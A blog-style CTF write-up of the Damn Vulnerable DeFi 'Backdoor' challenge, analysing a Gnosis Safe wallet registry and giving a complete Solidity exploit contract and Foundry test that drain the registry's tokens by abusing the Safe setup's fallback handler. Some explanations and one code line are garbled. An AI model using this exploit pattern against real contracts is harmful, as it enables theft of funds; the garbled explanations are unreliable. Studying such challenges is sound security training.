# Damn Vulnerable DeFi Wargame Challenge — Backdoor Contract Analysis 🧤

By [Zer0Luck](https://paragraph.com/@zer0luck-2) · 2022-12-26

---

Challenge #11 - Backdoor
========================

To incentivize the creation of more secure wallets in their team, someone has deployed a registry of [Gnosis Safe wallets](https://github.com/gnosis/safe-contracts/blob/v1.3.0/contracts/GnosisSafe.sol). When someone in the team deploys and registers a wallet, they will earn 10 DVT tokens.

To make sure everything is safe and sound, the registry tightly integrates with the legitimate [Gnosis Safe Proxy Factory](https://github.com/gnosis/safe-contracts/blob/v1.3.0/contracts/proxies/GnosisSafeProxyFactory.sol), and has some additional safety checks.

Currently there are four people registered as beneficiaries: Alice, Bob, Charlie and David. The registry has 40 DVT tokens in balance to be distributed among them.

Your goal is to take all funds from the registry. In a single transaction.

*   [See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v2.2.0/contracts/backdoor)
    
*   [Complete the challenge](https://github.com/tinchoabbate/damn-vulnerable-defi/blob/v2.2.0/test/backdoor/backdoor.challenge.js)
    

Contract Audit
--------------

> WalletRegistry.sol

    // SPDX-License-Identifier: MIT
    pragma solidity 0.8.17;
    
    import {Ownable} from "openzeppelin-contracts/access/Ownable.sol";
    import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
    import {GnosisSafe} from "gnosis/GnosisSafe.sol";
    import {IProxyCreationCallback} from "gnosis/proxies/IProxyCreationCallback.sol";
    import {GnosisSafeProxy} from "gnosis/proxies/GnosisSafeProxy.sol";
    
    /**
     * @title WalletRegistry
     * @notice A registry for Gnosis Safe wallets.
     *            When known beneficiaries deploy and register their wallets, the registry sends some Damn Valuable Tokens to the wallet.
     * @dev The registry has embedded verifications to ensure only legitimate Gnosis Safe wallets are stored.
     * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
     */
    contract WalletRegistry is IProxyCreationCallback, Ownable {
        uint256 private constant MAX_OWNERS = 1;
        uint256 private constant MAX_THRESHOLD = 1;
        uint256 private constant TOKEN_PAYMENT = 10 ether; // 10 * 10 ** 18
    
        address public immutable masterCopy;
        address public immutable walletFactory;
        IERC20 public immutable token;
    
        mapping(address => bool) public beneficiaries;
    
        // owner => wallet
        mapping(address => address) public wallets;
    
        error AddressZeroIsNotAllowed();
        error NotEnoughFundsToPay();
        error CallerMustBeFactory();
        error FakeMasterCopyUsed();
        error WrongInitialization();
        error InvalidThreshold();
        error InvalidNumberOfOwners();
        error OwnerIsNotRegisteredAsBeneficiary();
    
        constructor(
            address masterCopyAddress,
            address walletFactoryAddress,
            address tokenAddress,
            address[] memory initialBeneficiaries
        ) {
            if (masterCopyAddress == address(0)) revert AddressZeroIsNotAllowed();
            if (walletFactoryAddress == address(0)) {
                revert AddressZeroIsNotAllowed();
            }
    
            masterCopy = masterCopyAddress;
            walletFactory = walletFactoryAddress;
            token = IERC20(tokenAddress);
    
            for (uint256 i = 0; i < initialBeneficiaries.length; i++) {
                addBeneficiary(initialBeneficiaries[i]);
            }
        }
    
        function addBeneficiary(address beneficiary) public onlyOwner {
            beneficiaries[beneficiary] = true;
        }
    
        function _removeBeneficiary(address beneficiary) private {
            beneficiaries[beneficiary] = false;
        }
    
        /**
         * @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
         *          setting the registry's address as the callback.
         */
        function proxyCreated(
            GnosisSafeProxy proxy,
            address singleton,
            bytes calldata initializer,
            uint256
        ) external override {
            // Make sure we have enough DVT to pay
            if (token.balanceOf(address(this)) < TOKEN_PAYMENT) {
                revert NotEnoughFundsToPay();
            }
    
            address payable walletAddress = payable(proxy);
    
            // Ensure correct factory and master copy
            if (msg.sender != walletFactory) revert CallerMustBeFactory();
            if (singleton != masterCopy) revert FakeMasterCopyUsed();
    
            // Ensure initial calldata was a call to `GnosisSafe::setup`
            if (bytes4(initializer[:4]) != GnosisSafe.setup.selector) {
                revert WrongInitialization();
            }
    
            // Ensure wallet initialization is the expected
            if (GnosisSafe(walletAddress).getThreshold() != MAX_THRESHOLD) {
                revert InvalidThreshold();
            }
    
            if (GnosisSafe(walletAddress).getOwners().length != MAX_OWNERS) {
                revert InvalidNumberOfOwners();
            }
    
            // Ensure the owner is a registered beneficiary
            address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    
            if (!beneficiaries[walletOwner]) {
                revert OwnerIsNotRegisteredAsBeneficiary();
            }
    
            // Remove owner as beneficiary
            _removeBeneficiary(walletOwner);
    
            // Register the wallet under the owner's address
            wallets[walletOwner] = walletAddress;
    
            // Pay tokens to the newly created wallet
            token.transfer(walletAddress, TOKEN_PAYMENT);
        }
    }
    

### Summary

This contract is used for registering Gnosis Safe Wallet, and if known beneficiaries deploy and register it, this contract will send DVT ERC20 tokens to the wallet. This contract includes verification logic to ensure that only legally registered Gnosis Safe Wallets are stored.

### State Variables

This contract manages user data based on the `beneficiaries` mapping structure for Gnosis Safe Wallet registration. The `wallets` mapping structure manages wallet data for users with owner permissions.

### Functions

`constructor`

This contract's constructor performs the following tasks based on the deployed addresses of GnosisSafe, GnosisSafeProxyFactory, and ERC20:DVT Contract:

✅ The masterCopyAddress (GnosisSafe) state variable must not be address(0).

✅ The walletFactoryAddress (GnosisSafeProxyFactory) state variable must not be address(0).

The `initialBeneficiaries` array is used as a local variable in this constructor and the `addBeneficiary` function is called to register users who are eligible for registration in the `Beneficiary` state variable and perform the initial setup of the registration process.

`function addBeneficiary(address beneficiary) public onlyOwner`

*   The `onlyOwner` modifier performs verification logic (@Openzeppelin) and is publicly accessible through the external call directive.
    
*   The `beneficiaries` mapping structure assigns a value of `true` based on the `beneficiary` index.
    

`function _removeBeneficiary(address beneficiary) private`

*   The private access directive allows only internal contract calls.
    
*   The `beneficiaries` mapping structure assigns a value of `false` based on the `beneficiary` index.
    

`function proxyCreated(GnosisSafeProxy proxy, address singleton, byte calldata initializer, uint256) external override`

    function proxyCreated(
        GnosisSafeProxy proxy,
        address singleton,
        bytes calldata initializer,
        uint256
    ) external override {
        require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");
        address payable walletAddress = payable(proxy);
    
        require(msg.sender == walletFactory, "Caller must be factory");
        require(singleton == masterCopy, "Fake mastercopy used");
        
        require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");
    
        require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
        require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       
    
        address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    
        require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
    
        _removeBeneficiary(walletOwner);
        wallets[walletOwner] = walletAddress;
        token.transfer(walletAddress, TOKEN_PAYMENT);        
    }
    

*   This function is executed when a user creates a Gnosis Safe Wallet using GnosisSafeProxyFactory::createProxyWithCallback. It sets the Register address as a callback.
    

✅ The value held by `address(this)` based on the ERC20 DVT token's `balanceOf` function must be greater than or equal to `TOKEN_PAYMENT`, and it verifies that there is enough DVT to pay.

*   The address of the GnosisSafeProxy contract is assigned to the `walletAddress` payable local variable with the payable applied.
    

✅ The value of `msg.sender` must be the same address as `walletFactoryAddress (GnosisSafeProxyFactory)`, meaning that the caller must be GnosisSafeProxyFactory.

✅ The address of `singleton` must be the same address as `masterCopyAddress (GnosisSafe)`, and this checks whether it is the correct factory and masterCopy contract.

✅ Based on the verification of `bytes4(initializer[:4]) == GnosisSafe.setup.selector`, it checks whether the initial call data is a call to the `GnosisSafe::setup` function selector.

✅ Based on the verification of `GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD`, it checks whether the threshold value is 1.

✅ Based on the verification of `GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS`, it checks whether the number of Owners is 1 and performs exception handling for wallet initialization.

*   It calls the GnosisSafe Contract wrapper and extracts the wallet owner by calling the `getOwners()` function based on the `walletAddress`, and checks whether the owner is registered as a `beneficiary`.
    

✅ The `beneficiaries` mapping structure assigns a value of `true` to the `walletOwner` index based on the verification of `beneficiary` registration.

✅ The `wallets` mapping structure assigns the `walletAddress` to the `walletOwner` index based on the verification of `walletOwner` registration.

*   It sends a `DVT` token to the `walletAddress` based on the `TOKEN_PAYMENT` value.
    
*   It checks whether the `walletAddress` is the same as the `msg.sender` value and returns the result.
    

✅ Based on the verification of `beneficiary` registration, it returns the `walletAddress` as a successful result.

✅ Based on the verification of `walletOwner` registration, it returns the `walletAddress` as a successful result.

### Gnosis-Safe Contract flow

> GnosisSafeProxy.sol , IProxyCreationCallback.sol

**_IProxyCreationCallback.sol_**

    // SPDX-License-Identifier: LGPL-3.0-only
    pragma solidity >=0.7.0 <0.9.0;
    import "./GnosisSafeProxy.sol";
    
    interface IProxyCreationCallback {
        function proxyCreated(
            GnosisSafeProxy proxy,
            address _singleton,
            bytes calldata initializer,
            uint256 saltNonce
        ) external;
    }
    

**_GnosisSafeProxy.sol_**

Using a GnosisSafeProxy general proxy contract allows you to execute all transactions that apply the masterCopy contract code.

### Interface

    interface IProxy {
      function masterCopy() external view returns (address);
    }
    

This is a helper interface for accessing the masterCopy of an on-chain proxy.

### Functions

`constructor`

    constructor(address _singleton) {
        require(_singleton != address(0), "Invalid singleton address provided");
        singleton = _singleton;
    }
    

*   The `singleton` variable must always be declared first, so the call must be in the same location as the delegated contract.
    
*   In order to reduce deployment costs, this `singleton` variable is `internal` and must be searched through `getStorageAt`.
    

✅ The address value of `_singleton` must not be `address(0)`.

`fallback`

    fallback() external payable {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
            // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
            if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
                mstore(0, _singleton)
                return(0, 0x20)
            }
            calldatacopy(0, 0, calldatasize())
            let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if eq(success, 0) {
                revert(0, returndatasize())
            }
            return(0, returndatasize())
        }
    }
    

The fallback function passes on all transactions and returns all received return data.

    let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
    

*   The storage load pushes the next stack with the loaded index from storage, and in this case we can see that 0 argument is passed, so it is `storage[0]`.
    
*   At the contract code level, `address owner` means the address of the owner, and this logic assigns the actual address value to the `_singleton` stack by performing an and operation on the owner's address value.
    

    if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
        mstore(0, _singleton)
        return(0, 0x20)
    }
    

The value of `0xa619486e == keccak("masterCopy()")` is padded with 0s on the right to 32 bytes, and as we can see, it must be the address of the masterCopy contract, and then the address of the owner is assigned to the first address in memory and the call is completed.

    calldatacopy(0, 0, calldatasize())
    let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
    returndatacopy(0, 0, returndatasize())
    if eq(success, 0) {
        revert(0, returndatasize())
    }
    return(0, returndatasize())
    

*   If the above conditions are not met, then the contract copies the call data from position 0 to position 0, with a size of `calldatasize`, using the `calldatacopy` function.
    
*   We will now look at the next line in the assembly block using the `delegatecall` opcode.
    

    let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
    

*   `gas` : The gas needed to execute the function.
    
*   `_singleton` : The address of the contract we are calling.
    
*   `0` : The memory pointer where the data starts.
    
*   `calldatasize` : The size of the data we are passing.
    
*   `0` : The output data where the return value of the contract call will be stored. Since we don't know the size of the output data yet, it cannot be stored in a variable and is not used. Later, we can access this information using the returndata opcode.
    
*   `0` : The size out. This is 0 because we did not have an opportunity to create a temporary variable to store the data before calling another contract. Later, we can get this value using the returndatasize opcode.
    

    returndatacopy(0, 0, returndatasize())
    if eq(success, 0) {
        revert(0, returndatasize())
    }
    return(0, returndatasize())
    

If the size of the returned data is used to copy the contents of the returned data to the first address using the helper opcode function `returndatacopy`. If a problem occurs based on the final branch, an exception is raised.

> GnosisSafeProxyFactory.sol

*   Proxy Factory - allows you to create new proxy relationships and execute message calls to new proxies within one transaction.
    

### Functions

`function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy)`

    function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
        proxy = new GnosisSafeProxy(singleton);
        if (data.length > 0)
            // solhint-disable-next-line no-inline-assembly
            assembly {
                if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
                    revert(0, 0)
                }
            }
        emit ProxyCreation(proxy, singleton);
    }
    

*   You can create a new proxy contract within single transaction and execute a `message call` for the new proxy.
    
*   The address of `singleton` single tone contract. `memory data` is payload data for 'message call' sent to the new proxy contract.
    

> **_call Stack input_**
> 
> 1.  `gas`: amount of gas to send to the sub [context](https://www.evm.codes/about) to execute. The gas that is not used by the sub context is returned to this one.
>     
> 2.  `address`: the account which [context](https://www.evm.codes/about) to execute.
>     
> 3.  `value`: [value](https://www.evm.codes/#34) in [wei](https://www.investopedia.com/terms/w/wei.asp) to send to the account.
>     
> 4.  `argsOffset`: byte offset in the [memory](https://www.evm.codes/about) in bytes, the [calldata](https://www.evm.codes/about) of the sub [context](https://www.evm.codes/about).
>     
> 5.  `argsSize`: byte size to copy (size of the [calldata](https://www.evm.codes/about)).
>     
> 6.  `retOffset`: byte offset in the [memory](https://www.evm.codes/about) in bytes, where to store the [return data](https://www.evm.codes/about) of the sub [context](https://www.evm.codes/about).
>     
> 7.  `retSize`: byte size to copy (size of the [return data](https://www.evm.codes/about)).
>     

We can see that the `call` command is being executed, and based on the above arguments, we can see that the payload data for the `new Proxy` message call is located at memory address `argsOffset + 0x20`.

`function proxyRuntimeCode() public pure returns (bytes memory)`

    function proxyRuntimeCode() public pure returns (bytes memory) {
        return type(GnosisSafeProxy).runtimeCode;
    }
    

*   The runtime code of a deployed proxy can be searched.
    
*   This can be used to verify that the expected proxy has been deployed.
    

> **type(X).runtimeCode**
> 
> A memory byte array containing the runtime byte code. This is typically the code that is deployed by the constructor of X. If the constructor of X uses inline assembly, the actual deployed byte code may differ from this. Also, libraries may modify the runtime bytecode at deployment to prevent general calls. The same limitations as `.creationCode` apply to this attribute as well.

`proxyCreationCode() public pure returns (bytes memory)`

    function proxyCreationCode() public pure returns (bytes memory) {
        return type(GnosisSafeProxy).creationCode;
    }
    

*   You can search for the `creationcode` used to deploy a proxy. This allows you to easily calculate the expected address.
    

> **type(X).creationCode**
> 
> A memory byte array containing the contract's creation bytecode. This can be used to build a custom creation routine using the create2 opcode, particularly in inline assembly. This property cannot be accessed from within the contract itself or derived contracts. Recursive references such as this are not possible due to the bytecode being included in the calling site's bytecode.

`function deployProxyWithNonce(address _singleton, bytes memory initializer, uint256 saltNonce) internal returns (GnosisSafeProxy proxy)`

    function deployProxyWithNonce(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce
    ) internal returns (GnosisSafeProxy proxy) {
        bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
        bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
    }
    

*   The CREATE2 opcode can be used to create a new proxy contract, but it does not perform the `initializer` function.
    
*   This method is only used as a utility called from other methods.
    
*   `saltNonce` is the Nonce used to generate the salt for calculating the address of the new proxy contract.
    
*   If the initialization program changes, the proxy address must also change.
    
*   Hashing the `initializer` data is more gas-efficient than simply concatenating it.
    

> _create2 stack Input_
> 
> 1.  `value`: value in [wei](https://www.investopedia.com/terms/w/wei.asp) to send to the new account.
>     
> 2.  `offset`: byte offset in the [memory](https://www.evm.codes/about) in bytes, the initialisation code of the new account.
>     
> 3.  `size`: byte size to copy (size of the initialisation code).
>     
> 4.  `salt`: 32-byte value used to create the new account at a deterministic address.
>     

### Vulnerability

The contract configuration is set up using the proxy pattern with the Gnosis lib contract. `GnosisSafe` is the contract that includes the actual business logic of the Gnosis Wallet. The `GnosisSafeProxyFactory` has made it possible to replicate GnosisSafe's gas fees properly, because there is no need to deploy the overall business logic again.

    this.walletRegistry = await (await ethers.getContractFactory('WalletRegistry', deployer)).deploy(
        this.masterCopy.address,
        this.walletFactory.address,
        this.token.address,
        users
    );
    

The contract configuration is made up of a proxy pattern using the Gnosis lib contract, with the `walletRegistry` contract deployed and the addresses of previously deployed contracts and the mentioned four beneficiaries being passed. It can be seen that after these users are registered with the contract, they are provided with a reward of 40DVT each, belonging to them. It is important to note that while the attacker must successfully move all 40 DVT to the attacker's wallet, the wallets of the four users must also be registered as `beneficiaries` and not `registered as beneficiaries` anymore. However, during the setup of the contract, the wallets for each user who can claim this reward were not created, allowing the attacker to claim the reward in their own wallet even though they are not the intended beneficiary.

**_walletRegistry.sol::proxyCreated_**

    /**
     @notice Function executed when user creates a Gnosis Safe wallet via GnosisSafeProxyFactory::createProxyWithCallback
             setting the registry's address as the callback.
     */
    function proxyCreated(
        GnosisSafeProxy proxy,
        address singleton,
        bytes calldata initializer,
        uint256
    ) external override {
    

We are checking if the vulnerability in the callback function can only be called by the `GnosisSafeProxyFactory` contract, the caller.

    // Ensure correct factory and master copy
    require(msg.sender == walletFactory, "Caller must be factory");
    require(singleton == masterCopy, "Fake mastercopy used");
    

*   However, checking if the masterCopy (singleton) is a GnosisSafe logic contract ensures that a manipulated wallet cannot trigger the desired trigger.
    

    require(bytes4(initializer[:4]) == GnosisSafe.setup.selector,"Wrong initialization");
    

*   It is assumed that after the proxy is deployed, the wallet setup function is used to initialize it and that no other functions are used to prevent any further manipulation.
    

    require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");
    require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners");       
    
    // Ensure the owner is a registered beneficiary
    address walletOwner = GnosisSafe(walletAddress).getOwners()[0];
    
    require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");
    

*   The wallet Creator, who initially triggered the callback, can check whether they are actually the `beneficiaries`, and checks whether the first owner of the wallet is registered as the `beneficiaries`. MAX\_THRESHOLD and MAX\_OWNERS are both 1, so even if they become a subOwner, they cannot be ignored.
    

    // Remove owner as beneficiary
    _removeBeneficiary(walletOwner);
    
    // Register the wallet under the owner's address
    wallets[walletOwner] = walletAddress;
    
    // Pay tokens to the newly created wallet
    token.transfer(walletAddress, TOKEN_PAYMENT);
    

*   The process is completed by removing `beneficiaries` and registering the wallet address and sending tokens.
    
*   As we saw in the previous access vector, `walletRegistry.sol` is the only contract that can call the callback, so we will analyze it.
    

    function createProxyWithNonce(
        address _singleton,
        bytes memory initializer,
        uint256 saltNonce
    ) public returns (GnosisSafeProxy proxy) {
        proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
        if (initializer.length > 0)
            // solhint-disable-next-line no-inline-assembly
            assembly {
                if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
                    revert(0, 0)
                }
            }
        emit ProxyCreation(proxy, _singleton);
    }
    

*   In this function, you can see that it performs the `call` instruction. It calls the newly created proxy contract with the calldata passed to the `initializer` variable.
    
*   `initializer` is a bytes array stored in memory, so when accessing the value in the assembly, the actual value can be a number, memory pointer, or bytes array.
    
*   In Solidity, the first 32 bytes (hex 0x20) of a bytes array is not the actual value passed to `initializer`, but is the unsigned value of `initializer` by default.
    
*   Therefore, `mload(initializer)` loads the length from memory and `add(initializer, 0x20)` calculates the address in memory where the actual `initializer` value starts.
    
*   This means that `call()` passes all available `gas()` to the proxy and specifies the entire `initializer` variable as `calldata`, ignoring `returndata`.
    
*   Finally, `eq(call)` reverts if the call fails.
    
*   From analyzing the previous code, we can see that there is a specific signal in `GnosisSafe::setup()` through `initializer`.
    

**_GnosisSafe.sol_**

    /// @dev Setup function sets initial storage of contract.
    /// @param _owners List of Safe owners.
    /// @param _threshold Number of required confirmations for a Safe transaction.
    /// @param to Contract address for optional delegate call.
    /// @param data Data payload for optional delegate call.
    /// @param fallbackHandler Handler for fallback calls to this contract
    /// @param paymentToken Token that should be used for the payment (0 is ETH)
    /// @param payment Value that should be paid
    /// @param paymentReceiver Adddress that should receive the payment (or 0 if tx.origin)
    function setup(
        address[] calldata _owners,
        uint256 _threshold,
        address to,
        bytes calldata data,
        address fallbackHandler,
        address paymentToken,
        uint256 payment,
        address payable paymentReceiver
    ) external {
        // setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
        setupOwners(_owners, _threshold);
        if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
        // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
        setupModules(to, data);
    
        if (payment > 0) {
            // To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
            // baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
            handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
        }
        emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
    }
    

*   To analyze the code `GnosisSafe::setup()`, we will analyze the following GnosisSafe contract.
    

[https://github.com/safe-global/safe-contracts/blob/v1.3.0/contracts/GnosisSafe.sol#L75-L97](https://github.com/safe-global/safe-contracts/blob/v1.3.0/contracts/GnosisSafe.sol#L75-L97)

*   If you check the annotation description within the code, you can see that `optional delegate call'` is possible.
    

    if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
    // As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
    setupModules(to, data);
    

*   It seems that `optional delegatecall` using 'to' and 'data' parameters is performed immediately.
    
*   Registry callback is called after `setup` is completed. If you haven't received the DVT token yet at this point, it's impossible to add an owner because the callback check will fail.
    

[https://github.com/safe-global/safe-contracts/blob/v1.3.0/contracts/base/FallbackManager.sol](https://github.com/safe-global/safe-contracts/blob/v1.3.0/contracts/base/FallbackManager.sol)

*   If `fallbackHandler`can also be deleted, in this case, `fallbackHandler` can be triggered during the Exploit process. If callback sends a DVT token to the wallet, it can execute arbitrary code within the Wallet Context, such as triggering a fallback and moving all tokens to the attacker's EOA.
    

**_FallbackManager.sol::fallback_**

    // solhint-disable-next-line payable-fallback,no-complex-fallback
    fallback() external {
        bytes32 slot = FALLBACK_HANDLER_STORAGE_SLOT;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            let handler := sload(slot)
            if iszero(handler) {
                return(0, 0)
            }
            calldatacopy(0, 0, calldatasize())
            // The msg.sender address is shifted to the left by 12 bytes to remove the padding
            // Then the address without padding is stored right after the calldata
            mstore(calldatasize(), shl(96, caller()))
            // Add 20 bytes for the address appended add the end
            let success := call(gas(), handler, 0, 0, add(calldatasize(), 20), 0, 0)
            returndatacopy(0, 0, returndatasize())
            if iszero(success) {
                revert(0, returndatasize())
            }
            return(0, returndatasize())
        }
    }
    

*   Allows you to call a single address. Since there is no `transfer` function in GnosisSafe Contract, the token address should be set to `fallbackHandler` and `transfer()` call from the wallet.
    
*   Token contract can be called from the wallet.
    

### solve

    contract BackdoorExploit {
        constructor(
            address masterCopyAddress,
            IProxyCreationCallback registryAddress,
            GnosisSafeProxyFactory walletFactory,
            address[] memory targetBeneficiary,
            IERC20 token
        ) {
            // Create a wallet for each beneficiary.
            for (uint256 i = 0; i < targetBeneficiary.length; i++) {
                address beneficiary = targetBeneficiary[i];
                address[] memory owners = new addressUnsupported embed;
                owners[0] = beneficiary;
    
                address wallet = address(
                    walletFactory.createProxyWithCallback(
                        masterCopyAddress,              // Gnosis master copy (Singleton)
                        abi.encodeWithSelector(          // <-- initializer bytes array
                            GnosisSafe.setup.selector,   // 1. GnosisSafe Setup Function Selector
                            owners,                      // 2. registered beneficiary user
                            1,                           // 3. Threshold == 1
                            address(0x0),                // 4. Optional DelegateCall
                            0x0,                         // 5. Optional DelegateCall
                            address(token),             // 6. fallbackHandler token
                            address(0x0),                // 7. payment token
                            0,                           // 8. Payment
                            address(0x0)                 // 9. Payment receiver
                        ),
                        0,                               // salt == 0
                        registryAddress                 // Registry callback <- Exploit
                    )
                );
                IERC20(wallet).transfer(msg.sender, 10 ether);
            }
        }
    }
    
    contract Backdoor is DSTest {
        Vm internal immutable vm = Vm(HEVM_ADDRESS);
        uint256 internal constant AMOUNT_TOKENS_DISTRIBUTED = 40e18;
        uint256 internal constant NUM_USERS = 4;
    
        Utilities internal utils;
        DamnValuableToken internal dvt;
        GnosisSafe internal masterCopy;
        GnosisSafeProxyFactory internal walletFactory;
        WalletRegistry internal walletRegistry;
        address[] internal users;
        address payable internal attacker;
        address internal alice;
        address internal bob;
        address internal charlie;
        address internal david;
    
        function setUp() public {
            utils = new Utilities();
            users = utils.createUsers(NUM_USERS);
    
            alice = users[0];
            bob = users[1];
            charlie = users[2];
            david = users[3];
    
            vm.label(alice, "Alice");
            vm.label(bob, "Bob");
            vm.label(charlie, "Charlie");
            vm.label(david, "David");
    
            attacker = payable(
                address(uint160(uint256(keccak256(abi.encodePacked("attacker")))))
            );
            vm.label(attacker, "Attacker");
    
            // Deploy Gnosis Safe master copy and factory contracts
            masterCopy = new GnosisSafe();
            vm.label(address(masterCopy), "Gnosis Safe");
    
            walletFactory = new GnosisSafeProxyFactory();
            vm.label(address(walletFactory), "Wallet Factory");
    
            dvt = new DamnValuableToken();
            vm.label(address(dvt), "DVT");
    
            // Deploy the registry
            walletRegistry = new WalletRegistry(
                address(masterCopy),
                address(walletFactory),
                address(dvt),
                users
            );
    
            // Users are registered as beneficiaries
            for (uint256 i = 0; i < NUM_USERS; i++) {
                assertTrue(walletRegistry.beneficiaries(users[i]));
            }
    
            // Transfer tokens to be distributed to the registry
            dvt.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED);
        }
    
        function testExploit() public {
            vm.startPrank(attacker);
            new BackdoorExploit(
                address(masterCopy),
                IProxyCreationCallback(address(walletRegistry)),
                walletFactory,
                users,
                IERC20(address(dvt))
            );
            vm.stopPrank();
            validation();
        }
    
        function validation() internal {
            for (uint256 i = 0; i < NUM_USERS; i++) {
                address wallet = walletRegistry.wallets(users[i]);
    
                // User must have registered a wallet
                if (wallet == address(0)) {
                    emit log("User did not register a wallet");
                    fail();
                }
    
                // User is no longer registered as a beneficiary
                assertTrue(!walletRegistry.beneficiaries(users[i]));
            }
    
            // Attacker must have taken all tokens
            assertEq(dvt.balanceOf(attacker), AMOUNT_TOKENS_DISTRIBUTED);
        }
    }
    

next time.. 🚀
--------------

Thank you for the @tinchoabbate that made a good wargame.

[https://www.damnvulnerabledefi.xyz/index.html](https://www.damnvulnerabledefi.xyz/index.html)

---

*Originally published on [Zer0Luck](https://paragraph.com/@zer0luck-2/damn-vulnerable-defi-wargame-challenge-backdoor-contract-analysis)*
